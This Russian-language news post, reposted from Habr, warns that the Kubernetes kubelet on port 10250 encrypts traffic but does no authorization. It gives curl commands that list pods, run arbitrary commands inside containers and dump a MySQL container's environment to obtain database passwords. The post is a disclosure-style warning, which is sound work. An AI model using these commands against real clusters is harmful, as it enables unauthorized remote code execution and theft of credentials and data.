Предостережение для пользователей Kubernetes
Сервис kubelet, с которым тесно общается apiserver, слушает порт 10250. Этот порт хоть и использует сертификаты, но лишь для шифрования канала, никакой авторизации на нём нет.
Об этой проблеме известно давно, но почему-то никто не считает её серьезной. Ссылки на обсуждения:
https://github.com/kubernetes/kubernetes/issues/3168
https://github.com/kubernetes/kubernetes/issues/7965
https://github.com/kubernetes/kubernetes/issues/11816
Что с этим можно сделать? Правтически всё. Без регистрации и sms.
Получить список всех pod'ов:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
Выполнить команду внутри контейнера? Запросто:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
Получить пароль на базу данных? Проще простого:
$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'
Вытащить из неё данные тоже не составит труда.
Источник: Хабрахабр
Похожие новости
- Постквантовая криптография для современной почты
- Как работает безопасность, когда никто никому не доверяет — Zero Trust на пальцах
- Централизация биткойн-майнинга в 2025 году: концентрация хешрейта усиливается
- Новости кибербезопасности за неделю с 19 по 25 мая 2025
- [Перевод] Преступный ИИ уже существует, и он доступен любому
- [Перевод] Postman логирует все ваши секреты и переменные окружения
- Math Agency: Google AI Mode: новая модель поиска, которая меняет всё
- Атака клонов или темная сторона Open Source
- А вам точно нужно делать и продвигать приложение? Два главных вопроса бизнесу перед разработкой
- Гайд по криптостойкости, как защитить наши данные